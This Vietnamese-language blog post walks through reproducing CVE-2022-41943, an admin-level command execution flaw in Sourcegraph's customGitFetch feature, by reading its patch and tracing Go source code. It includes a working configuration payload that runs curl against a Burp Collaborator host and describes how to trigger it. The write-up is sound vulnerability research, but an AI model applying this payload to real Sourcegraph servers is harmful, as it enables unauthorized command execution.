Sitemap

Series Re-Search: Reproduce 1-day CVE with only static source code review

13 min readAug 26, 2023

--

Hey yo, hôm này mình sẽ viết tiếp cho cái series này. Tuy nhiên nó có vẻ lộn xộn, không đúng trình tự cho lắm rồi nhưng tiện thì cứ viết các bạn ơi!
Đáng lý ra mình muốn viết về một cái blog liên quan tới việc phân tích một các bug cũ, rồi đến 1day rồi thử tìm 0day…blabla rồi tới các bài như thế này, vì dạng bài này sẽ cung cấp cho các bạn kinh nghiệm cũng như các Tip and Trick của mình để các bạn có thể phân tích hay tái tạo CVE nhanh lẹ hơn mà thôi.

I. Vào một ngày bình thường, mình var phải Sourcegrah….

Vào một ngày bình thường, mình cũng như mọi ngày vẫn pentest bình thường thì mình var phải một ứng dụng là Sourcegrah, cái này trước giờ mình gặp bao giờ nên cũng ngó nghiêng qua đôi chút xem có làm ăn được gì không?

Sourcegrah

Trước tiên,phải tìm hiểu cái ứng dụng/tool này dùng làm gì đã .Google ngay sẽ thấy đây là một công cụ tìm kiếm giúp cho dev teams dễ dàng tìm kiếm,review và đi đến đoạn code đó và nó là một project open source :D
Sourcegrah sẽ móc với SCM (source code management) của bạn như github, gitlab thông qua token để có thể tìm kiếm trên source code. Đến đây mình ngửi thấy mùi thơm thơm rồi, bởi cái gì mà dính tới source code thì đều là những thứ cực kỳ “nhạy cảm” và cũng đủ để bạn report.

Tuy nhiên site này của mình đang có authentication, yêu cầu đăng nhập tài khoản mật khẩu. Giờ lấy đâu ra được credentials chứ ( y như hình trên), mình nhanh trí bay qua trang Register để đăng ký tài khoản thử xem như thế nào. Thực ra tính làm cho có thôi bởi nếu các bạn pentest inhouse thì sẽ biết tính năng này thường sẽ disable hoặc là return về 403 hay gì gì đó =)))
Nhưng không! Đúng là không thể bỏ qua được bất cứ cái gì, mình đã reg được tài khoản.

=> Đôi lúc quá tự tin vào kinh nghiệm nửa vời của bản thân sẽ dẫn tới việc bỏ qua những thứ cực kỳ quan trọng.

Sau khi đã access được vào sourcegrah, mình đã có quyền search trên gitlab của công ty… Tuy nhiên, những thứ mình search được là những project “public”, default tài khoản mới tạo cũng chỉ access được tới các project này mà thôi. Mà nếu có nhiêu đó thôi thì cũng chả có giá trị gì, haizzz. Chẳng lẽ lại bỏ!

II. CVE-2022-41943: SourceGraph Arbitrary Command Execution in gitserver…

Đã mất công ngó rồi thì ngó luôn xem thằng nào có cái CVE nào khai thác được không. Qua tab Security thì mình thấy khá là nhiều bug có thể RCE, nhưng đa phần là cần quyền Admin, đã vậy còn chưa có PoC nữa… Mé, tụt mood vcl. Thôi đã ngó rồi thì đầu mình nảy số hay là cứ reproduce cái bug này đi, rồi tìm cái bug nâng quyền lên là RCE được rồi. Hehe( nghe có vẻ hơi ảo tưởng nhưng khi team bạn có 0day Re-Searcher thì cũng khả thi đấy)
Mình đọc qua description CVE-2022–41943 và đánh giá rằng reproduce bug này không mất quá nhiều thời gian nên mình mới làm vì nó khá là basic =))

Okie, mình làm và sẽ hướng dẫn mọi người theo góc nhìn thứ nhất nhé.
1. Phân tích description

As a site admin(1) it was possible to execute arbitrary commands on Gitserver when the experimental customGitFetch feature (2)was enabled. This experimental feature has now been disabled (3) by default.

Chỗ nào cần chú ý thì mình đã highlight. Có thể kế t luận khi đọc xong description là:
1. User admin mới khai thác được
2. RCE ở tính năng customGitFetch,đây đang là tính năng thử nghiệm.
3. Có thể dev đã vá bằng cách disable tính năng này đi.

=> Thường đối với các bug cần mà cần authentication như này mà còn “quyền cao” nữa thì khá kén researcher họ làm bởi tốn công mà giá trị mang lại ít, độ phủ trên internet cũng chả nhiều =))))
Cơ mà kiến thức mang lại thì cũng không chắc là ít hơn so với các bug unauthenticated nên nếu yêu kiến thức mới, ham tìm hiểu thì cứ làm thôi =)))

2. Tìm hiểu ứng dụng

  • Xác định version bị ảnh hưởng: < 4.1.0

Thông thường, với các ứng dụng closed source, bạn sẽ cài version bị ảnh hưởng gần với bản cập nhật mới nhất để khi diff patch sẽ ít noise hơn, tìm ra được function bị lỗi nhanh hơn.
Các ứng dụng open source như này thì thoải mái hơn rất nhiều, issues này còn link tới phần họ vá như thế nào, đỡ mất công diff và cho dù có phải tự diff thì nó cũng dễ hơn closed soucre . Cơ mà cứ dựng lên đã, đừng cầm đèn chạy trước oto, nhảy vào coi code lỗi làm gì… cũng chưa chắc đã tìm được endpoint dẫn tới hàm lỗi đó đâu.

Mình sẽ cài version 4.0.0 nhé, cái gì có docker thì cứ chạy docker cho lẹ.

# Install sourcegraph 4.0.0
docker run --publish 7080:7080 --publish 3370:3370 --rm --volume ~/.sourcegraph/config:/etc/sourcegraph --volume ~/.sourcegraph/data:/var/opt/sourcegraph sourcegraph/server:4.0.0

Sau khi sourcegrah đã running, tiến hành tạo tài khoản admin và bắt đầu sử dụng. Đọc document và tìm hiểu các chắc năng, sourcegrah sẽ móc với gitlab, github của bạn để support cho việc search code…
=> đã setup thì phải setup đầy đủ từng tính năng, nếu không bạn sẽ miss các endpoint có thể khai thác được.
Mình dựng gitlab luôn version 16.0.0 ( để tí mình nói qua một study case của gitlab luôn), còn nếu máy các bạn không đủ mạnh thì bỏ qua cài đặt gitlab nhé, xài GitHub, GitLab public được r:

# Install gitlab
sudo docker run --detach \
--hostname gitlab.example.com \
--publish 443:443 --publish 80:80 --publish 22:22 \
--name gitlab \
--restart always \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
--shm-size 256m \
gitlab/gitlab-ce:16.0.0-ce.0

Okie, sau khi docker gitlab đã running rồi thì tương tự, vào gitlab tạo vài project sample rồi tạo token cho user ở phần … và link gitlab với sourcegraph mà thôi: Site Admin -> Repositories -> Add repositories -> Gitlab và fill token vào.

Sau khi config thành công, search một vài pattern đơn giản xem như thế nào, nếu đã work thì môi trường coi như đã setup thành công.

Sau đó, cũng như blackbox, hãy cố gắng tìm hiểu hết các tính năng của ứng dụng, hiểu về workflow của nó, cover càng nhiều càng chi tiết càng tốt. Thật ra đây là công đoạn nhiều anh em bỏ qua vì nó khá nhàm chán, nhưng thực sự khi đã hiểu product rồi thì khi bạn làm sẽ có nhiều điểm thuận lợi hơn rất nhiều.

3. Phân tích lỗi, tái tạo PoC

a) Đọc qua đoạn patch code lỗi
Đến đây thì mới tập trung vào câu chuyện chính của chúng ta, mà phân tích cái lỗ hổng này như thế nào. Như trong phần mô tả của lỗi, nó đã link cho chúng ta đến một PR https://github.com/sourcegraph/sourcegraph/pull/42704, nó là thông tin về việc team dev fix lỗi này như thế nào. Kéo xuống và xem những file nào đã được patch ở đây.

customfetch.go: file chứa function bị lỗi
customfetch_test.go: File chứa tập testcase chạy test cho tính năng vừa mới fix của customfetch.
Mình nói reproduce mấy bug open source dễ hơn closed source là v ( nhưng thực ra do team này cũng note đầy đủ thôi, chứ cũng nhiều product khoai lắm, gitlab chẳng hạn). Clone source về để trace cho dễ thôi.

Chú ý đầu tiên, như ở Description đã nói tới, đây là bug RCE thì bạn phải tìm ra được funtion có thể excution code ở trong file customfetch.go. Và không khó khăn khi chúng ta có thể “đoán được” function customFetchCmd là sink vì có sử dụng CommandContext, đây là method exucute code của Golang.

Bản patch không về động chạm tới function này mà chỉ sửa ở function buildCustomFetchMappings, code Golang khá clear nên đọc vào sẽ hiểu ngay rằng đoạn này check biến môi trường ENABLE_CUSTOM_GIT_FETCH có được set hay không, bây giờ ngay cả khi bạn có cấu hình CustomGitFetchMapping mà biến môi trường này không được set thì sẽ không sử dụng được tính năng này.

Có thể hiểu đơn giản rằng cách fix của họ là bắt buộc bạn phải set được biến môi trường thì tính năng này mới sử dụng được, mà bạn set được biến môi trường thì bạn đã có quyền execute trên server rồi thì cần gì khai thác RCE nữa =))) kiểu z!

Okie, đến đây thì đơn giản rồi chỉ cần trace ngược code lên và tìm endpoint có thể reach tới function này là được. Đấy là sách giáo khoa, còn mình thì lên tìm hiểu chỗ cách sử dụng tính năng này xem có ra output gì không cho lẹ =)))
Đọc document và mình phát hiện ra được rằng Site configuration sẽ cho chúng ta enable các tính năng thử nghiệm lên bằng cách insert vô file json các tính năng muốn bật , ví dụ:

"experimentalFeatures": {
"searchStreaming": true,
"showSearchContext": false,
},

Mình thử type “custom..” thì nó đã recommend cho mình tham số và tính customGitFetch rồi…

Phải 99,99% input payload là ở đây, còn format sao thì lại phải ngó lại đoạn code customFetchCmd xử lý đã. Vì là code Go nên rất dễ để bạn ĐỌC CHAY HIỂU CODE.
( À phân tích code ở bản bị lỗi nhé)

var customGitFetch = conf.Cached(func() map[string][]string {
exp := conf.ExperimentalFeatures() // <- có lẽ là load config của experimental feature lên
return buildCustomFetchMappings(exp.CustomGitFetch) // <- Đẩy config của CustomGitFetch vào buildCustomFetchMappings để xử lý
})

Xuống đọc code function buildCustomFetchMappings:


func buildCustomFetchMappings(c []*schema.CustomGitFetchMapping) map[string][]string {
if c == nil {
return map[string][]string{}
}

cgm := map[string][]string{}
for _, mapping := range c {
cgm[mapping.DomainPath] = strings.Fields(mapping.Fetch)
} // <-- Nôm na là parse config ra thành một dạng dữ liệu map sao đó
// {
// "domainPath": "somecodehost.com/path/to/repo",
// "fetch": "customgitbinary someflag"
// }
// Có thể là:
// => cgm["somecodehost.com/path/to/repo"] = ["customgitbinary","someflag"]
//
// Bạn chưa có kinh nghiệm code golang nên cứ đoán đi
// Dựa vào đoạn code dưới có thể đoán ra được dạng data này.
return cgm
}

Vì chỉ đọc chay( static code review) mà không debug, nên bạn sẽ không thể chắc chắn được 100% code sẽ thực hiện như thế. Cái bạn cần là tin tưởng và trực giác của mình.

func customFetchCmd(ctx context.Context, remoteURL *vcs.URL) *exec.Cmd {
cgm := customGitFetch() // <- cgm là data đã parse từ function trên
if len(cgm) == 0 {
return nil
}

dp := path.Join(remoteURL.Host, remoteURL.Path) // remoteURL ở đây có thể là link Gitlab lúc mình setup
// Path là path tới project r
cmdParts := cgm[dp] // cgm['dp'] = cgm["gitlab.com/sondeptrai/project1"] một trong những đường link project của mình không
if len(cmdParts) == 0 { // Nếu không có config của cgm["gitlab.com/sondeptrai/project1"] thì return null
return nil
}
return exec.CommandContext(ctx, cmdParts[0], cmdParts[1:]...) //cmdParts[0], cmdParts[1:] là các thông tin ở fetch filed
}

Từ những suy luân trên, mình có thể thử setup config như sau:

 "experimentalFeatures": {
"customGitFetch": [
{
"domainPath": "gitlab.com/s0nnguy3n/hihihi", # đường link gitlab tới 1 project của mình để trigger exec.CommandContext
"fetch": "curl vyxn85xoi08i874biuy8co1hw82zqpee.oastify.com" # command muốn thực thi, mình make request ra BUrp Collaborate check cho dễ
}

]
},

Done, lưu lại config. Cơ mà đây là chỗ lưu payload, còn trigger function customFetchCmd là không phải rồi. Làm sao để trigger cái config này đây!
Đến chỗ thể hiện cái tôi thể hiện review source code thượng thừa của mình trỗi dậy, mình quyết tâm “trace ngược” để tìm source ( Source: endpoint/funtion nhận input từ user) cho function bị lỗi.

b) Trace “ngược” tìm source
Okie, clone source code về và mở nó bằng Visual Studio Code, mình rất thích tính năng search của VSC vì rất nhanh và mượt , nếu đọc chay và để search thì mình nghĩ Visual studio code là 1 sự lựa chọn tốt.
Để trace đến source bị lỗi, đơn giản là mình sẽ tìm các method call lẫn nhau để tìm tới endpoint đầu tiên, nghe đơn giản nhưng sẽ có rất nhiều khó khăn. Ví dụ:
Function bị lỗi của mình là customFetchCmd, nhưng nó có tận 10 funciton gọi tới nó, như function A-> customFetchCmd, function B -> customFetchCmd, function C -> customFetchCmd…. Method call càng dài, càng nhiều thì workload bạn bỏ vào càng lớn, và cũng có thể không thể nào trace ra được source bằng cách cày chay như này mà phải kết hợp nhiều kỹ thuật khác như fuzzing… bla bla. Hãy chắp tay cầu nguyện nhé.

Đầu tiên, chúng ta có thể tìm thấy thằng customFetchCmd được quote ở 3 file là customfetch, customfetch_test và vcs_syncer_git… may quá 2 file customfetch, customfetch_test chúng ta đã biết nó làm gì và giờ chỉ còn duy nhất 1 đường nữa là vcs_syncer_git, và hàm gọi customFetchCmd trong vcs_syncer_git là function fetchCommand.

Tiếp tục, fetchCommand vẫn được dùng ở vcs_syncer_git và thêm 1 file nữa là workspace. Tuy nhiên, ở workspace.go, fecthCommand là biến chứ không phải function, nên chúng ta chỉ cần focus vào file vcs_syncer_git hiện tại là được.

Đến đây, phát hiện rằng fucntion fecthCommand sẽ được sử dụng ở 2 function khác là Fetch và CloneCommand, cộng thêm với việc mình vừa để ý là architect của thằng SourceGraph này sử dụng QraphQL chứ k phải REST API , một công nghệ mà mình không rành nên mình quyết định không trace code nữa mà sử dụng khả năng fuzzing như mình đã đề cập ở trên.

Đọc các dùng comment trong source code và tên của function, hình dung ra được “chức năng” của nó là làm gì. Và như mình đã dặn các bạn, hãy cố gắng hiểu sản phẩm, product càng nhiều càng tốt thì lúc này bạn sẽ mapping được giữa source code <-> tính năng.
=>
Từ đó,mình mới có tư duy để biết được CloneCommand, Fetch hay vcs_syncer_git thì chắc chắn nó sẽ liên quan tới việc sync source code giữa Gitlab của mình và SourceGraph.
Tính năng này sẽ ở đâu?
- Khả năng cao nhất là nằm trong quản lý Repositories.

Với configuration của mình là:

"experimentalFeatures": {
"customGitFetch": [
{
"domainPath": "gitlab.com/s0nnguy3n/hihihi.git", # đường link gitlab tới 1 project của mình để trigger exec.CommandContext
"fetch": "curl jviu9fjmsb9c9h7axj3fs1n8bzhq5gt5.oastify.com" # command muốn thực thi, mình make request ra BUrp Collaborate check cho dễ
}

]
},

Mình sẽ vào Site Admin -> Repositories -> s0nnguy3n/hihihi -> Settings -> Mirorring and Cloning -> Refresh Now.

Và để ý Burp Collaborator của mình đã nhận được response từ command curl jviu9fjmsb9c9h7axj3fs1n8bzhq5gt5.oastify.com gửi về.

Vậy là mình đã tái tạo xong lỗ hổng CVE-2022–41943 này.

III. Tổng Kết

Như mình đã nói, để có thể dùng bug này trong thực tế thì phải có thêm 1 cái bug nâng quyền nữa, và đó là câu chuyện mình vẽ ra chứ tìm cả tuần không ra nên mình cũng bỏ target này rồi.
Tuy nhiên, từ những điều mình chia sẻ, các bạn có thể áp dụng các kỹ thuật, tip & trick mình sử dụng cho bất cứ project nào khác bạn muốn reproduce lại.

Những điều cần chú ý và đầu tư khi reproduce các 1day CVEs bằng static review source code:

  1. Phân tích kỹ description của lỗi.
  2. Hãy dành nhiều thời gian để dựng lại môi trường, tìm hiểu sản phẩm như enviroment, architectures, features…( kể cả các tính năng disable by default).
  3. Tin tưởng vài trực giác của bạn, vì đôi khi bạn phải kết hợp nhiều kỹ năng để tái tạo bug chứ không chỉ only static code review.
  4. Chú ý tới file chạy test và các comment của function, đó là những thông tin cực kỳ quan trọng.

Rất nhiều case tụi mình đã phân tích chỉ dựa vào việc static code review bởi ngôn ngữ, framework đó không biết debug hoặc lười setup, hoặc đánh giá là chỉ cần đọc manual là dựng lại được rồi. Mình thấy review source code là một kỹ năng mang lại khá là nhiều niềm vui trong đó, và nó cũng sẽ support công việc của các bạn tìm lỗ hổng bảo mật rất là nhiều nữa. Nên có gì anh em cứ thử xem nhé.

Nếu muốn, mình có một challenge cho anh em. Hãy thử reproduce bug CVE-2022–41942: Command Injection in gitserver (https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-pfm3-23mh-6xjp) xem sao… Cũng tương tự thôi, và mình có 1 hint cho các bạn:
- Hãy tìm hiểu về Architecture Components của sourcegraph và bạn sẽ biết được interface để khai thác. Cheers, hẹn các bạn ở các blog tiếp theo.

--

--

No responses yet